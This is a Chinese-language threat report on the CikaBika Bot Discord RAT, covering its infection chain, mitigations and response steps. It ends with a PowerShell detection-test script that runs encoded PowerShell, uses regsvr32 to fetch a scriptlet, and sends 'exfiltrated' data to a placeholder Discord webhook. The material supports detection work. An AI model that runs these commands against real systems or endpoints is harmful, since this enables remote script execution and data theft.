CikaBika Bot分析：Discord RAT的运作方式

总结

CikaBika Bot 是一个基于 Rust 的远程访问木马，通过恶意的 LNK 文件和 PDF 文档等网络钓鱼诱饵传播。该恶意软件使用基于 Nim 的加载程序触发 PowerShell UAC 绕过，并对 Microsoft Edge 进行 DLL 搜索顺序劫持。它依赖于 Discord 作为命令和控制平台来管理受感染系统并执行一系列恶意命令。

调查

Darktrace 研究人员分析了感染链，始于包含恶意快捷方式和诱饵 PDF 的磁盘映像。调查追踪到从临时文本文件到放置在 Microsoft Edge 应用程序目录中的被劫持 DLL 的有效载荷。研究人员还观察到了 RAT 使用 Discord 进行侦察并利用 ngrok 进行数据外泄。

缓解措施

组织应严格控制从不受信任来源获取的 LNK 文件和磁盘映像的执行。加强用户帐户控制 (UAC) 设置并监控涉及 HKLM/HKCU shell 命令的未经授权的注册表更改有助于防止绕过尝试。安全团队还应注意异常的 Microsoft Edge 子进程和未经授权使用 Discord 或 ngrok。

响应措施

检测到 CikaBika Bot 活动时，将受影响的端点与网络隔离，以中断 Discord C2 通道。对 %TEMP% 目录和 Microsoft Edge 安装路径进行取证分析，以识别恶意 dbghelp.dll。审查网络遥测以识别涉及 ipify.com 或 ngrok 的可疑连接，以评估数据外泄的潜在范围。

模拟执行

• 攻击叙述 & 命令： 对手已经获得初始访问权限。为了避免检测，他们尝试通过编码的 PowerShell 命令运行有效载荷。命令字符串包括一个虚假的“PowerShell UAC 绕过”注释，以触发特定规则逻辑。在此之后，对手尝试使用 regsvr32.exe 执行远程脚本（通过本地文件模拟以避免测试期间的网络噪音）。最后，对手通过 PowerShell 向 Discord Webhook URL 发送一个虚假的 POST 请求来模拟数据外泄。

• 回归测试脚本：

  # 模拟脚本：模拟 Cikabika 风格的 Discord 数据外泄
  
  Write-Host "[+] 开始模拟..."
  
  # 1. 模拟 'selection_uac_bypass' 和 'selection_powershell_encoded' 条件
  # 命令包括字符串 'PowerShell UAC bypass'，并使用 '-enc'
  $command = "Write-Output 'Malicious Payload'; # PowerShell UAC bypass"
  $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
  $encodedCommand = [Convert]::ToBase64String($bytes)
  
  Write-Host "[+] 执行带有绕过字符串的编码 PowerShell..."
  powershell.exe -enc $encodedCommand
  
  # 2. 模拟 'selection_regsvr32'
  # 这触发了规则中 'AND' 条件的第二半
  Write-Host "[+] 执行 Regsvr32..."
  regsvr32.exe /s /i:http://localhost/dummy.sct scrobj.dll
  
  # 3. 模拟 'selection_discord_exfil'
  # 这为 'AND' 条件的第二半提供了一条替代路径
  Write-Host "[+] 模拟 Discord 数据外泄..."
  $discordWebhook = "https://discord.com/api/webhooks/test/12345"
  powershell.exe -Command "Invoke-RestMethod -Uri '$discordWebhook' -Method Post -Body '{"content": "Exfiltrated Data"}'"
  
  Write-Host "[+] 模拟完成。"

• 清理命令：

  # 清理：删除任何在模拟期间创建的临时文件（如有）。
  # 在本次模拟中，没有文件被写入磁盘，
  # 但我们确保进程树已清理。
  Stop-Process -Name "powershell" -ErrorAction SilentlyContinue
  Write-Host "[+] 清理完成。"